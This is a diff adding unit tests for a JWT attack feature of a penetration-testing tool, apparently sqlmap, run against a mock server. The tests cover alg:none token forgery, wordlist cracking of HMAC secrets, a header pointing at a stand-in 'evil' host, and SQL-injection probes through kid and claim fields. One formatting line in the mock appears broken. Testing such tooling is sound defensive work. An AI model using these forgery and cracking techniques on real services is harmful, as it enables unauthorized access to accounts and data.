dependency-free codec/crypto helpers in lib/utils/jwt.py +(parse/forge/crack/audit/detect) and the active scan engine in lib/techniques/jwt/inject.py +(acceptance oracle, forgery confirmation, kid/claim SQL-injection probe). The engine is driven against +a mock server by monkeypatching the transport, so the whole feature is validated deterministically on +Python 2.7 / 3.x with no network. +""" + +import os +import re +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.core.data import conf +from lib.core.enums import PLACE +from lib.utils.jwt import auditJWT +from lib.utils.jwt import crackHMAC +from lib.utils.jwt import findJWTs +from lib.utils.jwt import forgeJWT +from lib.utils.jwt import parseJWT +import lib.techniques.jwt.inject as inject + + +class JWTUtilsTest(unittest.TestCase): + def test_parse_roundtrip(self): + token = forgeJWT({"alg": "HS256", "typ": "JWT"}, {"user": "admin", "role": "user"}, key="secret") + data = parseJWT(token) + self.assertEqual(data["header"]["alg"], "HS256") + self.assertEqual(data["payload"]["user"], "admin") + + def test_parse_rejects_non_jwt(self): + for value in ("", "a.b", "a.b.c.d", "not.a.jwt", "eyJx.eyJx"): + self.assertIsNone(parseJWT(value)) + + def test_forge_none_is_unsigned(self): + token = forgeJWT({"alg": "none"}, {"user": "admin"}) + self.assertTrue(token.endswith(".")) + self.assertEqual(parseJWT(token)["signature"], "") + + def test_crack_hmac_secret(self): + token = forgeJWT({"alg": "HS256"}, {"user": "admin"}, key="s3cr3t") + self.assertEqual(crackHMAC(token, ["a", "s3cr3t", "b"]), "s3cr3t") + self.assertIsNone(crackHMAC(token, ["a", "b"])) + self.assertIsNone(crackHMAC(token, ["s3cr3t"], limit=0)) # limit reached before the hit + + def test_crack_ignores_non_hmac(self): + self.assertIsNone(crackHMAC("eyJhbGciOiJSUzI1NiJ9.eyJ1IjoxfQ.AAAA", ["secret"])) + + def test_audit_flags(self): + ids = set(_[0] for _ in auditJWT(forgeJWT({"alg": "none"}, {"user": "admin"}))) + self.assertIn("alg-none", ids) + self.assertIn("no-expiry", ids) + + def test_audit_weak_secret_and_headers(self): + token = forgeJWT({"alg": "HS256", "kid": "1", "jku": "https://evil/x"}, {"user": "admin", "exp": 9999999999}, key="secret") + ids = set(_[0] for _ in auditJWT(token, secrets=["secret"])) + self.assertIn("weak-hmac-secret", ids) + self.assertIn("header-key-injection", ids) + self.assertIn("kid-injection", ids) + + def test_find_jwts_in_blob(self): + token = forgeJWT({"alg": "HS256"}, {"user": "admin"}, key="secret") + blob = "session=abc; auth=%s; theme=dark" % token + self.assertEqual(findJWTs(blob), [token]) + self.assertEqual(findJWTs("no tokens here"), []) + + +class _MockServer(object): + """A trivial JWT-consuming endpoint. `verify` decides how strict it is; `sink` optionally reflects + a component (kid / a claim) into a fake SQL error, modelling an injectable key/claim lookup.""" + + OK = "welcome back, admin. secret area." + DENY = "access denied. please log in." + NOROW = "no matching record found." + SQLERR = "SQL syntax error near unclosed quotation mark" + + def __init__(self, secret=None, acceptNone=False, verifySig=True, sink=None, alwaysError=False, dynamic=False): + self.secret = secret + self.acceptNone = acceptNone + self.verifySig = verifySig + self.sink = sink # ("kid",)/("claim", name) string quote-sink, or ("numclaim", name) numeric sink + self.alwaysError = alwaysError # H2: page ALWAYS carries SQL-error text (must not be read as injection) + self.dynamic = dynamic # H3: response changes every hit (must not yield a boolean verdict) + self._tick = 0 + + def _wrap(self, page): + if self.dynamic: + self._tick += 1 + return "%s" % (page, self._tick) + return page + + def respond(self, token): + if self.alwaysError: + return self._wrap(self.SQLERR) + + data = parseJWT(token) + if not data: + return self._wrap(self.DENY) + + if self.sink is not None: + reflected = data["header"].get("kid") if self.sink[0] == "kid" else (data["payload"].get(self.sink[1]) if isinstance(data["payload"], dict) else None) + reflected = "" if reflected is None else str(reflected) + if self.sink[0] in ("claim", "kid") and reflected.count("'") % 2 == 1: + return self._wrap(self.SQLERR) # unbalanced quote -> string-context SQL error + if self.sink[0] == "numclaim": + if "'" in reflected: + return self._wrap(self.SQLERR) # quote in a numeric concat -> error + m = re.match(r"^\d+ AND (\d+)=(\d+)$", reflected) + if m: + return self._wrap(self.OK if m.group(1) == m.group(2) else self.NOROW) # AND n=n true, n=n+1 false + + alg = (data["header"].get("alg") or "").lower() + if alg == "none": + return self._wrap(self.OK if self.acceptNone else self.DENY) + if not self.verifySig: + return self._wrap(self.OK) + if self.secret and forgeJWT(data["header"], data["payload"], key=self.secret) == token: + return self._wrap(self.OK) + return self._wrap(self.DENY) + + +class JWTEngineTest(unittest.TestCase): + def setUp(self): + self._origGetPage = inject.Request.getPage + self._origParams = conf.parameters + self._origSecrets = inject._wordlistSecrets + conf.skipUrlEncode = False + conf.delay = 0 + conf.beep = False + # keep the offline crack fast: the full 6 MB wordlist sweep is exercised by the utils tests; here + # only the small common set is needed (a crackable token uses 'secret', which is in it) + from lib.core.settings import JWT_COMMON_SECRETS + inject._wordlistSecrets = lambda: iter(JWT_COMMON_SECRETS) + + def tearDown(self): + inject.Request.getPage = self._origGetPage + conf.parameters = self._origParams + inject._wordlistSecrets = self._origSecrets + inject._TOKEN = inject._PLACE = inject._HEADER = inject._HEADER_VALUE = None + + def _wire(self, token, server): + conf.parameters = {PLACE.GET: "auth=%s" % token} + + def fakeGetPage(**kwargs): + raw = kwargs.get("get") or kwargs.get("post") or kwargs.get("cookie") or "" + if kwargs.get("auxHeaders"): + raw = list(kwargs["auxHeaders"].values())[0] + found = findJWTs(raw) + return (server.respond(found[0] if found else raw), None, 200) + + inject.Request.getPage = staticmethod(fakeGetPage) + + def _run(self, token, server): + self._wire(token, server) + return dict((_[0], _) for _ in inject.jwtScan()) + + def test_oracle_confirms_alg_none(self): + # the server knows its real secret (so the original token is the authenticated baseline) but that + # secret is not in sqlmap's crack list; its flaw is accepting an unsigned alg:none forgery + token = forgeJWT({"alg": "HS256"}, {"user": "admin", "exp": 9999999999}, key="topsecret-not-in-list") + findings = self._run(token, _MockServer(secret="topsecret-not-in-list", acceptNone=True)) + self.assertIn("alg-none-accepted", findings) + self.assertEqual(findings["alg-none-accepted"][1], "critical") + + def test_oracle_confirms_signature_not_verified(self): + token = forgeJWT({"alg": "HS256"}, {"user": "admin", "exp": 9999999999}, key="topsecret-not-in-list") + findings = self._run(token, _MockServer(verifySig=False)) + self.assertIn("signature-not-verified", findings) + + def test_strict_server_yields_no_forgery(self): + token = forgeJWT({"alg": "HS256"}, {"user": "admin", "exp": 9999999999}, key="topsecret-not-in-list") + findings = self._run(token, _MockServer(secret="topsecret-not-in-list")) + self.assertNotIn("alg-none-accepted", findings) + self.assertNotIn("signature-not-verified", findings) + + def test_weak_secret_cracked_offline(self): + token = forgeJWT({"alg": "HS256"}, {"user": "admin", "exp": 9999999999}, key="secret") + findings = self._run(token, _MockServer(secret="secret")) + self.assertIn("weak-hmac-secret", findings) + + def test_kid_sql_injection(self): + token = forgeJWT({"alg": "none", "kid": "key1"}, {"user": "admin", "exp": 9999999999}) + findings = self._run(token, _MockServer(acceptNone=True, sink=("kid",))) + self.assertIn("kid-injection-confirmed", findings) + self.assertEqual(findings["kid-injection-confirmed"][1], "critical") + + def test_claim_sql_injection_via_alg_none(self): + token = forgeJWT({"alg": "none"}, {"user": "admin", "exp": 9999999999}) + findings = self._run(token, _MockServer(acceptNone=True, sink=("claim", "user"))) + self.assertIn("claim-injection-confirmed", findings) + + def test_numeric_claim_sql_injection(self): + # M4: a numeric claim (id) string-interpolated into SQL - detected in an unquoted 'AND n=n' context + token = forgeJWT({"alg": "none"}, {"user": "admin", "id": 5, "exp": 9999999999}) + findings = self._run(token, _MockServer(acceptNone=True, sink=("numclaim", "id"))) + self.assertIn("claim-injection-confirmed", findings) + + def test_error_based_no_fp_when_baseline_has_sql_error(self): + # H2: a page that ALWAYS contains SQL-error text must NOT be reported as an injection + token = forgeJWT({"alg": "none", "kid": "k"}, {"user": "admin", "exp": 9999999999}) + findings = self._run(token, _MockServer(acceptNone=True, alwaysError=True)) + self.assertNotIn("kid-injection-confirmed", findings) + self.assertNotIn("claim-injection-confirmed", findings) + + def test_boolean_no_fp_on_dynamic_page(self): + # H3: a response that changes every hit must not yield a boolean SQL-injection verdict + token = forgeJWT({"alg": "none", "kid": "k"}, {"user": "admin", "exp": 9999999999}) + findings = self._run(token, _MockServer(acceptNone=True, dynamic=True)) + self.assertNotIn("kid-injection-confirmed", findings) + self.assertNotIn("claim-injection-confirmed", findings) + + def test_no_token_is_graceful(self): + conf.parameters = {PLACE.GET: "q=hello"} + inject.Request.getPage = staticmethod(lambda **kwargs: ("x", None, 200)) + self.assertEqual(inject.jwtScan(), None) + + +if __name__ == "__main__": + unittest.main()